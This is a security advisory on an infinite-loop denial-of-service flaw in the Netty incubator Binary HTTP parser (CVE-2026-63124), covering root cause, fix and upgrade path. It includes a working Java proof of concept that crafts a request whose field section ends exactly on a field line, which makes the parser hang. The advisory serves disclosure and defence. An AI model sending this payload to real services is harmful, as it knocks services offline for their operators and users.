high · 7.5CVE-2026-63124Aug 20, 2026

CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted Binary HTTP request with a field section that ends exactly on a complete field line causes the Netty BHTTP parser to loop forever, blocking the event-loop thread and taking the service down.

Packageio.netty.incubator:netty-incubator-codec-bhttp
Ecosystemmaven
Affected<= 0.0.22.Final
Fixed in0.0.23.Final
CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS

The problem

In BinaryHttpParser.readFieldSection(), a while (fieldSectionLength != 0) loop repeatedly calls readFieldLine() and subtracts the bytes consumed each iteration.

The problem is in readFieldLine() (line 678-681): when the last field line ends exactly at the boundary of the readable slice, the method returns null without consuming any bytes. Back in the outer loop, read becomes zero. With JVM assertions disabled (the production default), the guard assert read > 0 is silently skipped, so fieldSectionLength is never decremented and the loop never exits.

Any remote peer that can deliver BHTTP bytes, including authenticated OHTTP peers whose payload is decrypted before parsing, can trigger this to pin an event-loop thread indefinitely.

Proof of concept

A working proof-of-concept for CVE-2026-63124 in io.netty.incubator:netty-incubator-codec-bhttp, with the exact payload below.

java
// Minimal Java PoC (run WITHOUT -ea so the assert is inactive)
// Sends a known-length BHTTP GET request whose field section ends exactly
// at the last byte of the one field line it contains.
//
// Field section encoding:
//   varint(4)          <- field section length = 4 bytes total
//   varint(1) + "a"   <- field name  (1+1 = 2 bytes)
//   varint(1) + "b"   <- field value (1+1 = 2 bytes)
// Total field section body = 4 bytes, no byte follows => triggers null return.

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang {
  private static void writeAscii(ByteBuf out, String v) {
    VarIntCodecUtils.writeVariableLengthInteger(out, v.length());
    out.writeCharSequence(v, StandardCharsets.US_ASCII);
  }
  public static void main(String[] args) {
    ByteBuf buf = Unpooled.buffer();
    VarIntCodecUtils.writeVariableLengthInteger(buf, 0); // known-length request
    writeAscii(buf, "GET");
    writeAscii(buf, "https");
    writeAscii(buf, "example.com");
    writeAscii(buf, "/");
    VarIntCodecUtils.writeVariableLengthInteger(buf, 4); // field section = 4 bytes
    writeAscii(buf, "a");  // name
    writeAscii(buf, "b");  // value
    // parser hangs here; timeout 3 returns exit 124
    new BinaryHttpParser(8192).parse(buf, false);
  }
}

The root cause is an off-by-one in readFieldLine() (CWE-835, Loop with Unreachable Exit Condition). The check if (sumBytes >= in.readableBytes()) return null was designed to signal that more bytes are needed, but it fires even when the field line is 100% complete, just because no extra byte exists beyond it.

The fix in 0.0.23.Final makes readFieldSection() treat a null return from readFieldLine() as incomplete input and propagates null upward instead of continuing the loop. It also adds a runtime guard that throws a DecoderException if a loop iteration makes zero progress, giving a safe failure even with assertions off.

The fix

Upgrade io.netty.incubator:netty-incubator-codec-bhttp (and the parent netty-incubator-codec-ohttp bundle) to **0.0.23.Final**. The fix is in the 0.0.23.Final release: https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final

Reporter not attributed.

References: [1][2][3]

Related research